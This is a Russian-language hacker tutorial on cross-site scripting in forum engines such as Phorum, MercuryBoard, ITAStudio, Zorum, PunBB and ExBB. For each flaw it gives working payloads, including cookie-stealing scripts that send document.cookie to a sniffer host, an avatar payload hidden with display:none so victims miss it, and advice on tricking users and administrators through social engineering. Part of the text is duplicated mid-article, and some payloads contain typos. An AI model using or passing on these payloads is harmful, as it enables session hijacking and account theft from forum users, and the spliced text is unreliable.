Для начала, думаю, стоит разобраться что же такое, этот XSS?
Итак, XSS(XSS иньекция), это опасный JаvаScrіpt(VBScrіpt) код, который при встраивании в страницу, выполняет определенные вредоносные действия ранее заданные хацкером: к примеру кража кукисов, сессий и т.д.
Для чего он применяется, я думаю уже поняли. Возникают XSS баги, в основном, из-за секюрити неграмотности разработчиков веб приложения или просто втыка.:*) Короче, суть проблемы в том, что разработчик просто забывает включать фильтрацию на различные вводимые символы, такие, например, как: скобки(< , >), кавычки(“ ‘), слеши(/ , \), и т.д. И даже если разработчик попался не глупый и фильтрацию поставил, суть XSS атаки заключается также в том, чтоб по возможности, эти препядствия обойти.
Для начала(для этой 1 статьи) я расмотрю самые основные XSS ошибки в некоторые известных форумных движках. Каждую багу, и каждый прилагающийся к ней сплойт, я буду подробно объяснять. Начнём…

1. Личный кабинет - настройки пользователя.
Заключается она в том, что некоторые поля профиля пользователя подвержены XSS нападению. Так как в них отсутствует фильтрация на вводимые символы, мы можем нарушить структуру тега, и выйдя за его пределы, вставить сплойт. При этом, когда любой зарегестрированный на форуме пользователь заглянет ко мне в профайл, он попадёт под действия этого вредоносного кода.
Как пример, я взял форум Phorum. Внимательно изучив все поля, я заметил, что поле: «Real name» пропускает любые символы при отображении, что меня очень порадовало.
Смотрим html код, и видим такую вот строку:

<tr><td>Real Name:</td><td>Тут должно находится имя</td></tr>

В данном случае, имя не идет как значение, а просто помещается в код страницы, поэтому за пределы тега нам выходить не прийдется. Вставляем сплойт…
Как пример, я покажу локальный алерт, для этого составим такой сплойт:

<scrіpt>alert(document.cookie)</scrіpt>

В итоге, наш html код поля, преобразился в:

<tr><td>Real Name:</td><td><scrіpt>alert(document.cookie)</scrіpt></td></tr>

Такая вот тупая ошибка получилась у разработчиков. Переделать сплойт для отсылания куков на снифф. не составит особого труда, для этого, изменим его на:

<scrіpt>іmg=new Imag();іmg.srс="http://sniffsite/s.php?"+document.cookie;</scrіpt>

На скриншоте, в сессии, у нас хранится ник: postal и md5 хеш пароля: e10adc3949ba59abbe56e057f20f883e

Бывают также очень красивые дыры в подписи, т.е. можно вставить сплойт в подпись и свободно гулять себе по форуму, собирая кукисы всех кто попадется на твоём пути. Но, такоё счастье встретить можно очень редко…:*(

2. Личный кабинет - аватарка пользователя.
Теперь, рассмотрим самую красивую на мой взгляд XSS иньекцию, это иньекцию через аватарку. Для осуществления этого коварного:*) плана, понадобятся 2 вещи: это поддержка загрузки аватар с удаленного сервера и криворукость разработчиков. :*)
Рассмотирим данную уязвимость на примере движка MercuryBoard.
Просмотрев html код поля загрузки аватара(Контрольная панель> Изменить аватару> Укажи URL к своей аватаре), видим, что выглядит он так:

<input class='input' type='text' name='avatar_url' value='' size='50' onchange='setuser_avatar(this.value)' />

В свою очередь, код отображения аватарки по форуму и в профайле пользователя, будет вот таким:

<img onerror='noavatar()' id='current_avatar' src='' width='50' height='50' alt='Твоя текущая аватара' />

Здесь у нас есть лишь одна небольшая неувязочка, стоят елементарные фильтры на кавычки(" и ‘), они экранируются слешем, т.е. хоть алерт вставить и удастся, но со сниффом будут проблемы. Само собой мы эти фильтры обойдем. Для этого, заменим кавычки их 10-ричной кодировкой. В итоге, заместо:("), будем проставлять("). Ещё, в конце поля обязательно должен присутствовать атрибут картинки, но такой финт тоже легко прокрутить.
Итак, для начала, сплойт для локального алерта:

1.gif'style=background:url(jаvаscrіpt:alert(document.cookie));1.gif

После, просмотривая html код поля для загрузки аватарки, видим, что он преобразился в:

<input class='input' type='text' name='avatar_url' value='\1.gif'style=background:url(jаvаscrіpt:alert(document.cookie));1.gif' size='50' onchange='setuser_avatar this.value)' />

Сам же код(путь) аватарки будет выглядеть как:

<img src='1.gif\'style=background:url(javаscrаpt:alert(document.cookie));1.gif' alt='Avatar' width='50' height='50' /><br /><br />

Теперь, немного переделаем сплойт, для отправки куков на сниффер, и добавим в него параметр: display:none:
1.gif'style=background:url(javаscrіpt:іmg.src="http:// sniffsite/s.php?" +document.cookie;) ;display:none;1.gif

Что самое чудесное в данном сплойте, что аватарки не видно, как будто бы её нет вообще. Так что боятся за то, что наши плохие намерения могут обнаружить, не стоит. :*)
Всё, мы получили идентификатор пользователя 50 и его md5 хеш пароля: e10adc3949ba59abbe56e057f20f883e

Похожая бага в аватарке существут также в форумах IdealBB(xakep.ru), в некоторых InvisionPowerBoard, и т.д.

3. Уязвимости в поисковой системе.(пасивная)
Рассмотрим данную уязвимость на примере форума ITAStudio. Html код поля
запроса выглядит:

<input type="text" name="search" class="ieform" value="">

Так как фильтраций никаких нет, мы можем нарушить структуру тега, и закрыв
его, выйти за его пределы. Итак:

"><scrіpt>alert(document.cookie+document.location)</scrіpt>

Что самое чудесное в данном сплойте, что аватарки не видно, как будто бы её нет вообще. Так что боятся за то, что наши плохие намерения могут обнаружить, не стоит. :*)
Всё, мы получили идентификатор пользователя 50 и его md5 хеш пароля: e10adc3949ba59abbe56e057f20f883e

Похожая бага в аватарке существут также в форумах IdealBB(xakep.ru), в некоторых InvisionPowerBoard, и т.д.

3. Уязвимости в поисковой системе.(пасивная)
Рассмотрим данную уязвимость на примере форума ITAStudio. Html код поля
запроса выглядит:

<input type="text" name="search" class="ieform" value="">

Так как фильтраций никаких нет, мы можем нарушить структуру тега, и закрыв
его, выйти за его пределы. Итак:

"><scrіpt>alert(document.cookie+document.location)</scrіpt>

В последствии html код преоразился в:

<input type="text" name="search" class="ieform" value=""><scrіpt>alert(document.location+document.cookie)</scrіpt>">

Структура тега нарушилась…Теперь, чтоб куки отправлялись на снифф, переделаем немного сплойт на:

"><scrіpt>іmg=new Image();іmg.srс="http://snifsite/s.php" +document.cookie;</scrіpt>

В отличии от FastBB, в данном движке(ITAStudio), поисковый запрос передается методом GET(запрос отображается в url строке), так что можна с легкостью послать пользователя по данной ссылке и захватить его кукисы. Но и с FastBB тоже не так всё плохо, как кажется. Ведь кто же нам мешает перевести сплойт в другую кодировку и банальной СИ заставить лоха вставить этот сплойт в поле поиска, например.

Подобные уязвимости(GET) я также встречал не только в поисковой системе, но ещё и в полях авторизации пользователей

4. Уязвимоти в заголовках сообщений.
В данном примере, я хочу рассмотреть заголовки, не только сообщений, оставленных на форуме, но и заголовки личных сообщений. Начнем, наверное с личных.
Для примера, рассмотрим всё тот же, MercuryBoard.
В данном случае, фильтрации нет ниепеой. Заголовок помещается в середину кода страницы. Как и в случае с Phorum, нам не прийдется мучатся с выходом за пределы тега.

<td class='tablelight'><a href='/mercuryboard/index.php?a=pm&s=view&m=9'> PRIVET<scrіpt> alert(document.cookie)</scrіpt></a></td>

Для отсылки куков на сниффер, сплойт преобразится в:

PRIVET <scrіpt>іmg=new Image();іmg.srс="http://sniffsite/s.php?"+document.cookie; </scrіpt>

Теперь рассмотрим уязвимость в заголовках соощений, оставляемых на форуме. Для примера, возьмем одну большую дыру:*), под названием He11.net Forums
Тут точно такая же проблема, как и в случае с MercuryBoard, поэтому сильно углублятся в суть проблемы не буду. Сплойт будет такой же.

5. Уязвимоть в сообщениях форума - разрешен html код.
Очень смешная бага :*):*):*)
Заключается она в том, что недалёкого ума разработчики разрешили такую фишку в сообщениях, как html код. Нет, это не просчет фильтрации, это опция (функция) такая:*):*):*)
В форумах вещь очень редкая и исключительная, но есть один форум, в котором html, эта одна из опций. Итак, форумный движок: Zorum.
Как видно на скрине, при посте сообщения, можно выбрать такую функцию, как: HTML

Теперь, не задумываясь ни над каким обходом фильтров, можно свободно постить сообщения, вставляя в них html код. Пример сплойта в коде страницы выглядит:

<span class='messageText'><scrіpt>alert</scrіpt></span></td>

И для сниффера:

<scrіpt>іmg=new Image();іmg.srс = "http://sniffsite/s.php?"+document.cookie;</scrіpt>

В данном форуме, мы получаем идентификатор пользователя: 1507125427 и его mysql хеш: 565491D704013245

6. Уязвимоть в сообщениях форума - bb теги.
Очень широкая по охвату уязвимоть. Ей подвержены, почти все известные на сегодняшний день форумы, разрешающие в сообщениях использовать bb теги.
Для лучшего понимания, я приведу разъяснения только к простым багам в bb тегах. Спаренные, вложенные, затрагивать не буду(поскольку полностью обьяснить суть их работі в двух словах невозможно), а только приведу несколько действующих сплойтов.
Итак, простые, для примера я думал взять IdealBB(xakep.ru), но так как под рукой его не оказалось, рассмотрим небезизвестный MercuryBoard.
Уязвимость bb тега color. Заключается она в том, что, во первых, никак не проверяется существование того, что входит внутрь этого тега, т.е. кол-во символов, спецзнаки, длинна и т.д. Тоесть, никакой фильтрации тут не имеется, что очень радует нам жизнь:*):*):*)
Взглянем на html код:

<span class='post'><span style= 'color:blue'>Сообщение</span></span>

Если нет фильтраций, так что же нам мешает выйти за пределы дозволенного, правильно, ничего…:*) Итак, сплойт, для алерта:

;background:url(jаvаsсrіpt:alert(document.cookie))

В итоге, получаем:

<span class='post'><span style='color:blue;background:url(jаvаscrіpt:alert(document.cookie))'>123</span></span>

Для сниффа:

;background:url(jаvasсrіpt:іmg.srс="http://sniffsite/s.php? "+document.cookie)

Углублятся в обьяснение спаренных и вложенных bb тегов не буду, просто приведу пару сплойтов:

PunBB: [email=a]a[/email]`xss=`alert(document.cookie);this.xss=null` style=top:expression(eval(this.xss));

ExBB: [color='http://rerer.rew]fffff[/color]' style=background:url(jаvascіpt: alert(document.cookie);

И т.д.

7. Супер пассивные уязвимости.
В данном случае, супер пассивными XSS, я считаю уязвимости, которые работают только при внутреннем просмотре. Чтоб лучше обьчснить что я имел ввиду, приведу пример на форуме InvisionPowerBoard.
В профиле данного форума, в поле: Дополнительная информация, присутствует XSS уязвимость. При вставке скрипта в данное поле, он сработает. Просмотрим html код:

<td class="pformright"><input type="text" size="50" name="field_1" value=""> <scrіpt>alert(document.cookie)</scrіpt>" /></td>

Но при просмотре профиля пользователя другим пользователем, наш скрипт блокируется. Вот:

<td class="row1">"><script>alert(document.cookie)</script></td>

Как видим, всё, хуже некуда.:*(:*(:*( В принципи, так оно и есть, но вот если, к прмеру, админ заглянет в наш профайл, т.е. захочет его изменить, тогда скрипт сработает. :*):*):*)

Такие вот дела, хотя проффесионалам СИ это не так уже и страшно.